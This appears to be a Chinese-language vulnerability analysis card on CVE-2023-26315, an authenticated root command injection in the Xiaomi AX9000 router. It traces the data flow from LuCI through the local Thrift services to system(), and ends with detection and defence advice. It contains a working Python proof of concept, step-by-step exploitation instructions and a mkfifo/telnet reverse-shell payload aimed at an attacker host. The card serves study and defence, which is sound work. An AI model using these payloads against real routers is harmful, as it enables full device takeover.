小米 AX9000 CVE-2023-26315:xqdatacenter→thrifttunnel→datacenter→plugincenter 认证后命令注入(root RCE)
iot · verified
一句话结论
小米 AX9000(MiWiFi 稳定版 1.0.168)中,已登录管理员向 /cgi-bin/luci/;stok=<token>/api/xqdatacenter/request 提交 payload JSON(api=629,appid 带 Shell 元字符),LuCI 用未过滤的 http.formvalue_unsafe 取值后拼成 thrifttunnel 0 '<base64>' 执行;thrifttunnel 将 JSON 转发到本地 127.0.0.1:9090 的 datacenter,后者按 api=629 再转发到 127.0.0.1:9091 的 plugincenter,其 PluginApi::getIdForVendor 把 appid 无过滤拼进 matool --method idForVendor --params <appid> 并调用 system(),最终以 root 执行任意命令。
原理
整条链由四段组成,每一段都把上一段传来的不可信数据原样交给下一段:
- LuCI 入口(Lua):
/usr/lib/lua/luci/controller/api/xqdatacenter.lua注册/api/xqdatacenter/request,handler为tunnelRequest,entry未设置免鉴权 flag,且节点设置sysauth="admin"、sysauth_authenticator="jsonauth",因此必须持有管理员stok。tunnelRequest用http.formvalue_unsafe("payload")读取参数——LuCI 的formvalue()会调用hackCheck过滤危险字符,而formvalue_unsafe()不做任何过滤。随后XQCryptoUtil.binaryBase64Enc(payload)编码,按XQConfigs.THRIFT_TUNNEL_TO_DATACENTER(值为"thrifttunnel 0 '%s'")格式化,交给util.exec()执行。 - thrifttunnel(C++ 二进制):
main检查参数个数为 3,把argv[2](即 base64 payload)拷贝并解码;switch(atoi(argv[1]))中参数为0时进入case 0,创建到127.0.0.1:9090的 Thrift socket,把解码后的 JSON 原样发送给datacenter,不校验 JSON 内容。 - datacenter(本地 9090 服务):
TNonblockingServer监听127.0.0.1:9090;DataCenterHandler::request调用APIMapping::redirectRequest,按 JSON 中的api字段查std::map<int, handler>映射表并执行对应函数指针。该固件中api=629映射到callPluginCenter,由它再向127.0.0.1:9091的plugincenter发送请求。 - plugincenter(本地 9091 服务):
PluginAPIMapping同样用api查表,api=629对应parseGetIdForVendor。该函数读取 JSON 中的appid字符串并传给PluginApi::getIdForVendor;后者用std::operator+拼出"matool --method idForVendor --params " + appid,再调用CommonUtils::sCallSystem()(即system())。
为什么成立:入口刻意使用 formvalue_unsafe 绕过 LuCI 的字符过滤;thrifttunnel、datacenter、plugincenter 都是本机回环服务,彼此信任且只按 api 数值路由、不校验字段内容;最终 appid 未经转义就拼进 Shell 命令行并交给 system(),分号即可截断原命令。plugincenter 以 root 运行,命令继承 root 权限。
触发条件
- 目标为小米 AX9000,MiWiFi 稳定版 1.0.168(
miwifi_ra70_firmware_cc424_1.0.168.bin),LuCI Web 管理面可达。 - 攻击者已获得管理员登录后的
stok,即“认证后”利用,不是未授权入口。 /cgi-bin/luci/;stok=<token>/api/xqdatacenter/request可访问,payload参数可控。- 设备上
datacenter(9090)与plugincenter(9091)正常运行;该固件的映射表中api=629指向callPluginCenter/parseGetIdForVendor。 - JSON 中包含
appid字段;appid为字符串,可带;、|、$()、反引号等 Shell 元字符。
利用步骤
- 用管理员账号登录路由器后台,从 URL 的
;stok=或 Cookie 中取得会话令牌。 - 构造
payloadJSON:{"api":629,"appid":"<注入命令>"};注入命令建议用分号包裹,如;ls;id;pwd;。 - 以表单字段
payloadPOST 到http://<router>/cgi-bin/luci/;stok=<token>/api/xqdatacenter/request。 - 读取 HTTP 响应;原文 PoC 直接打印响应文本即可看到
ls/id/pwd的执行结果,确认命令回显。 - 若需交互式控制,把
appid换成反弹 Shell 或带外命令(如;mkfifo /tmp/f; telnet <attacker> 8888 0</tmp/f | /bin/sh > /tmp/f;#),攻击机监听对应端口。
PoC
import requests
server_ip = "192.168.122.130"
token = "<管理员登录后的 stok>"
cmd = ";ls;id;pwd;"
res = requests.post(
"http://{}/cgi-bin/luci/;stok={}/api/xqdatacenter/request".format(server_ip, token),
data={"payload": '{"api":629, "appid":"' + cmd + '"}'},
)
print(res.text)
实际拼出的命令为:
matool --method idForVendor --params ;ls;id;pwd;
变体与关联
- 注入位置:
appid位于--params之后,可用;、&&、|、反引号、$()注入;命令末尾可用#注释掉可能追加的内容。 - api 值变体:
api决定datacenter/plugincenter中的 handler。除 629 外,映射表中的其他编号也可能落到带命令拼接的 handler;可静态导出sConstructMappingTable逐项排查。 - 同入口不同 sink:同一
/api/xqdatacenter/request入口在不同型号/固件上可落到datacenter的其他 handler。例如小米 BE10000 Pro 的api=7落到formatExtDisk,把vendor/type/dev拼进/usr/sbin/format_disk;参见 [[iot-xiaomi-be10000-xqdatacenter-thrifttunnel-command-injection]]。 - 回显与盲打:若目标固件不回显命令输出,改用反弹 Shell、写文件或 DNS/HTTP 带外确认。
- 关联卡片:[[iot-protocol-huawei-hg532-upnp-deviceupgrade-command-injection]](嵌入式 Web 参数拼
system的同类命令注入)、[[code-analysis-reverse-firmware-xiaomi-ax9000-ubi-aarch64-qemu-emulation]](本文固件解包/仿真方法)。
检测与防御
- 检测:Web 日志中出现
/api/xqdatacenter/request且payload含;、|、&&、$(、反引号、/bin/sh、telnet、mkfifo等;进程树出现luci/uhttpd→sh -c thrifttunnel 0 ...→datacenter→plugincenter→matool的异常调用;matool参数中出现 Shell 元字符;路由器主动外连非常规端口。 - 防御:把
http.formvalue_unsafe改为带hackCheck的formvalue,并对payload做严格 JSON Schema 校验;api使用白名单而非直接查表;thrifttunnel对转发到本机服务的 JSON 做字段校验;getIdForVendor不要用字符串拼接 +system,改用execve/posix_spawn传 argv,appid只允许已知字符集;datacenter/plugincenter以最小权限运行并限制本机访问;及时升级官方修复固件。